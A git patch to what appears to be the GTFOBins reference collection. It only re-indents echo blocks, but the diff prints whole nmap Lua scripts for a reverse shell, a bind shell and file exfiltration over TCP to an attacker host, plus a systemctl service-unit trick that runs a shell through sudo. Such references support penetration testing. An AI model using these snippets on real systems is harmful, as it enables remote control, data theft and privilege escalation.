From d0464d7ce86a61875bed3335f530c93c1d384a2b Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 29 Jan 2019 14:25:16 +0100 Subject: [PATCH] Drop useless echo indentation --- _gtfobins/nmap.md | 54 +++++++++++++++++++++--------------------- _gtfobins/systemctl.md | 16 ++++++------- 2 files changed, 35 insertions(+), 35 deletions(-) diff --git a/_gtfobins/nmap.md b/_gtfobins/nmap.md index 745b2fb..d3aa487 100644 --- a/_gtfobins/nmap.md +++ b/_gtfobins/nmap.md @@ -17,13 +17,13 @@ functions: export RPORT=12345 TF=$(mktemp) echo 'local s=require("socket"); - local t=assert(s.tcp()); - t:connect(os.getenv("RHOST"),os.getenv("RPORT")); - while true do - local r,x=t:receive();local f=assert(io.popen(r,"r")); - local b=assert(f:read("*a"));t:send(b); - end; - f:close();t:close();' > $TF + local t=assert(s.tcp()); + t:connect(os.getenv("RHOST"),os.getenv("RPORT")); + while true do + local r,x=t:receive();local f=assert(io.popen(r,"r")); + local b=assert(f:read("*a"));t:send(b); + end; + f:close();t:close();' > $TF nmap --script=$TF non-interactive-bind-shell: - description: Run `nc target.com 12345` on the attacker box to connect to the shell. @@ -31,12 +31,12 @@ functions: export LPORT=12345 TF=$(mktemp) echo 'local k=require("socket"); - local s=assert(k.bind("*",os.getenv("LPORT"))); - local c=s:accept(); - while true do - local r,x=c:receive();local f=assert(io.popen(r,"r")); - local b=assert(f:read("*a"));c:send(b); - end;c:close();f:close();' > $TF + local s=assert(k.bind("*",os.getenv("LPORT"))); + local c=s:accept(); + while true do + local r,x=c:receive();local f=assert(io.popen(r,"r")); + local b=assert(f:read("*a"));c:send(b); + end;c:close();f:close();' > $TF nmap --script=$TF file-upload: - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. @@ -46,13 +46,13 @@ functions: export LFILE=file_to_send TF=$(mktemp) echo 'local f=io.open(os.getenv("LFILE"), 'rb') - local d=f:read("*a") - io.close(f); - local s=require("socket"); - local t=assert(s.tcp()); - t:connect(os.getenv("RHOST"),os.getenv("RPORT")); - t:send(d); - t:close();' > $TF + local d=f:read("*a") + io.close(f); + local s=require("socket"); + local t=assert(s.tcp()); + t:connect(os.getenv("RHOST"),os.getenv("RPORT")); + t:send(d); + t:close();' > $TF nmap --script=$TF file-download: - description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 @@ -62,13 +62,13 @@ functions: export LFILE=file_to_save TF=$(mktemp) echo 'local k=require("socket"); - local s=assert(k.bind("*",os.getenv("LPORT"))); - local c=s:accept(); - local d,x=c:receive("*a"); - c:close(); - local f=io.open(os.getenv("LFILE"), "wb"); - f:write(d); - io.close(f);' > $TF + local s=assert(k.bind("*",os.getenv("LPORT"))); + local c=s:accept(); + local d,x=c:receive("*a"); + c:close(); + local f=io.open(os.getenv("LFILE"), "wb"); + f:write(d); + io.close(f);' > $TF nmap --script=$TF file-write: - code: | diff --git a/_gtfobins/systemctl.md b/_gtfobins/systemctl.md index 3df8397..05d2964 100644 --- a/_gtfobins/systemctl.md +++ b/_gtfobins/systemctl.md @@ -4,20 +4,20 @@ functions: - code: | TF=$(mktemp).service echo '[Service] - Type=oneshot - ExecStart=/bin/sh -c "id > /tmp/output" - [Install] - WantedBy=multi-user.target' > $TF + Type=oneshot + ExecStart=/bin/sh -c "id > /tmp/output" + [Install] + WantedBy=multi-user.target' > $TF ./systemctl link $TF ./systemctl enable --now $TF sudo: - code: | TF=$(mktemp).service echo '[Service] - Type=oneshot - ExecStart=/bin/sh -c "id > /tmp/output" - [Install] - WantedBy=multi-user.target' > $TF + Type=oneshot + ExecStart=/bin/sh -c "id > /tmp/output" + [Install] + WantedBy=multi-user.target' > $TF sudo systemctl link $TF sudo systemctl enable --now $TF ---